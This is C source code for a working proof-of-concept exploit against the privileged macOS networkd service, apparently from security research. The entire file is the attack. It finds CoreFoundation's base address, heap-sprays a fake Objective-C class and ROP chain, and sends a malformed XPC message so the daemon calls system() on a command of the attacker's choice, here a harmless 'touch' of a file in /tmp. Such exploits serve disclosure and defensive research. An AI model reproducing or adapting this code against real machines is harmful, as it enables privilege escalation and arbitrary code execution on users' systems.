// Requires Lorgnette: https://github.com/rodionovd/liblorgnette // clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation // ianbeer #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h>   #include <xpc/xpc.h> #include <CoreFoundation/CoreFoundation.h>   #include <mach/mach.h> #include <mach/mach_vm.h> #include <mach/task.h>   #include <mach-o/dyld_images.h>   #include "liblorgnette/lorgnette.h"   /* find the base address of CoreFoundation for the ROP gadgets */  void* find_library_load_address(const char* library_name){   kern_return_t err;     // get the list of all loaded modules from dyld   // the task_info mach API will get the address of the dyld all_image_info struct for the given task   // from which we can get the names and load addresses of all modules   task_dyld_info_data_t task_dyld_info;   mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;   err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);     const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;   const struct dyld_image_info* image_infos = all_image_infos->infoArray;       for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){     const char* image_name = image_infos[i].imageFilePath;     mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;     if (strstr(image_name, library_name)){       return (void*)image_load_address;     }   }   return NULL; }     struct heap_spray {   void* fake_objc_class_ptr; // -------+   uint8_t pad0[0x10];        //        |   uint64_t first_gadget;     //        |   uint8_t pad1[0x8];         //        |   uint64_t null0;            //        |   uint64_t pad3;             //        |   uint64_t pop_rdi_rbp_ret;  //        |   uint64_t rdi;              //        |   uint64_t rbp;              //        |   uint64_t system;           //        |   struct fake_objc_class_t { //        |     char pad[0x10];      // <----------+     void* cache_buckets_ptr; //--------+     uint64_t cache_bucket_mask;  //    |   } fake_objc_class;             //    |   struct fake_cache_bucket_t {   //    |     void* cached_sel;      // <--------+  //point to the right selector     void* cached_function; // will be RIP :)   } fake_cache_bucket;   char command[256]; };   xpc_connection_t connect(){   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);     xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {     xpc_type_t t = xpc_get_type(event);     if (t == XPC_TYPE_ERROR){       printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));     }     printf("received an event\n");   });   xpc_connection_resume(conn);   return conn; }   void go(){   void* heap_spray_target_addr = (void*)0x120202000;   struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);   memset(hs, 'C', 0x1000);   hs->null0 = 0;   hs->fake_objc_class_ptr = &hs->fake_objc_class;   hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;   hs->fake_objc_class.cache_bucket_mask = 0;     // nasty hack to find the correct selector address :)   uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");   uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector    uint64_t sel = msgrefs[1];   printf("%p\n", sel);   hs->fake_cache_bucket.cached_sel = sel;     uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");   // pivot: /* push rax add eax, [rax] add [rbx+0x41], bl pop rsp pop r14 pop r15 pop rbp ret */  hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here     // jump over the NULL then so there's more space:   //pop, pop, pop, ret: //and keep stack correctly aligned   hs->first_gadget = CoreFoundation_base + 0x46ef7;     hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;   hs->system = dlsym(RTLD_DEFAULT, "system");     hs->rdi = &hs->command;   strcpy(hs->command, "touch /tmp/hello_networkd");       size_t heap_spray_pages = 0x40000;   size_t heap_spray_bytes = heap_spray_pages * 0x1000;   char* heap_spray_copies = malloc(heap_spray_bytes);   for (int i = 0; i < heap_spray_pages; i++){     memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);   }     xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);     xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);     xpc_dictionary_set_uint64(msg, "type", 6);   xpc_dictionary_set_uint64(msg, "connection_id", 1);     xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);   xpc_object_t conn_list = xpc_array_create(NULL, 0);       xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);   xpc_dictionary_set_string(arr_dict, "hostname", "example.com");     xpc_array_append_value(conn_list, arr_dict);   xpc_dictionary_set_value(params, "connection_entry_list", conn_list);       char* long_key = malloc(1024);   memset(long_key, 'A', 1023);   long_key[1023] = '\x00';     xpc_dictionary_set_string(params, long_key, "something or other that's not important");     uint64_t uuid[] = {0, 0x120200000};   xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);   xpc_dictionary_set_uint64(params, "start", 0);   xpc_dictionary_set_uint64(params, "duration", 0);       xpc_dictionary_set_value(msg, "parameters", params);     xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);   xpc_dictionary_set_int64(state, "power_slot", 0);   xpc_dictionary_set_value(msg, "state", state);     xpc_object_t conn = connect();   printf("connected\n");     xpc_connection_send_message(conn, msg);   printf("enqueued message\n");     xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});     xpc_release(msg); }   int main(){   go();   printf("entering CFRunLoop\n");   for(;;){     CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);   }       return 0; }